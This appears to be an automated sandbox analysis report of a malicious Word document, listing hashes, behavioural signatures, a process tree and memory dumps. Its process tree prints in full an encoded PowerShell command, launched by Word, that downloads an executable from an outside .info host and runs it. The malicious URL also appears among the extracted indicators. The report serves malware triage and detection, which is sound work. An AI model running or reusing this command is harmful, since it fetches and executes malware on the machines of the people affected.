Analysis
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max time kernel
144s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
21-03-2023 13:20
Behavioral task
behavioral1
Sample
document.doc
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
document.doc
Resource
win10v2004-20230220-en
General
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Target
document.doc
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Size
75KB
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MD5
094268e03ab9e2e23f0d24554cb81a1b
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SHA1
3ff029fa49f48408e332c6de54d97d8a43513a5a
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SHA256
b6585c308bac3649bba3aba216a3be2e76b0593f03a623ed4bd1fa1dde2b1c4f
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SHA512
f9868abc757464fd0f3d43969c532558167edcaa8c92a36e987f9ad37370eb7dd0a2e18e7acca00ce20d714ac9f7237f967e3094d3451fb357632ea5c9867635
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SSDEEP
1536:7SI96yzqU+4PHxmrwQWVOk5QL7eS6t5W0pyu0z/:uVyjo8fVT0iS2vp1y/
Malware Config
Extracted
http://m6147keeganpw.info/sp282y/si2s81-19.php?l=rwoq3.dat
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2128 4324 powershell.exe WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4324 WINWORD.EXE 4324 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2128 powershell.exe 2128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2128 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4324 WINWORD.EXE 4324 WINWORD.EXE 4324 WINWORD.EXE 4324 WINWORD.EXE 4324 WINWORD.EXE 4324 WINWORD.EXE 4324 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 4324 wrote to memory of 2128 4324 WINWORD.EXE powershell.exe PID 4324 wrote to memory of 2128 4324 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\document.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Exec Bypass -enc JABpAFYAbwA4ADcAQgB1ACAAPQAgACcAdgBCAGcAVABKACcAOwAkAEcAYwBPAFUAVABhAEYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGkAVgBvADgANwBCAHUAKwAnAC4AZQB4AGUAJwA7ACQAbwA0AGYAOQBVAGQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBgAFQAYAAuAHcAZQBiAGAAQwBMAGkAZQBOAFQAOwAkAHYAdQBSAEQATwBBAHoAQwA9ACcAaAB0AHQAcAA6AC8ALwBtADYAMQA0ADcAawBlAGUAZwBhAG4AcAB3AC4AaQBuAGYAbwAvAHMAcAAyADgAMgB5AC8AcwBpADIAcwA4ADEALQAxADkALgBwAGgAcAA/AGwAPQByAHcAbwBxADMALgBkAGEAdAAnAC4AcwBwAGwAaQB0ACgAJwAlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEkAUABwAG0ANABOAGkAVwAgAGkAbgAgACQAdgB1AFIARABPAEEAegBDACkAewB0AHIAeQB7ACQAbwA0AGYAOQBVAGQALgBEAG8AdwBOAGwAbwBhAEQAZgBJAGwARQAoACQASQBQAHAAbQA0AE4AaQBXACwAIAAkAEcAYwBPAFUAVABhAEYAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABHAGMATwBVAFQAYQBGACkALgBsAEUATgBHAHQAaAAgAC0AZwBlACAAewBuAHUAbQBiAGUAcgAxAH0AKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAVABhAFIAdAAoACQARwBjAE8AVQBUAGEARgApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQANAAoA2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alwzrjvr.rdk.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/2128-163-0x00000265A4BC0000-0x00000265A4BE2000-memory.dmpFilesize
136KB
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memory/4324-136-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-133-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-137-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-138-0x00007FFC1A190000-0x00007FFC1A1A0000-memory.dmpFilesize
64KB
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memory/4324-139-0x00007FFC1A190000-0x00007FFC1A1A0000-memory.dmpFilesize
64KB
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memory/4324-151-0x000001F84B670000-0x000001F84B870000-memory.dmpFilesize
2.0MB
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memory/4324-135-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-134-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-172-0x000001F84B670000-0x000001F84B870000-memory.dmpFilesize
2.0MB
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memory/4324-192-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-193-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-194-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB
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memory/4324-195-0x00007FFC1CAF0000-0x00007FFC1CB00000-memory.dmpFilesize
64KB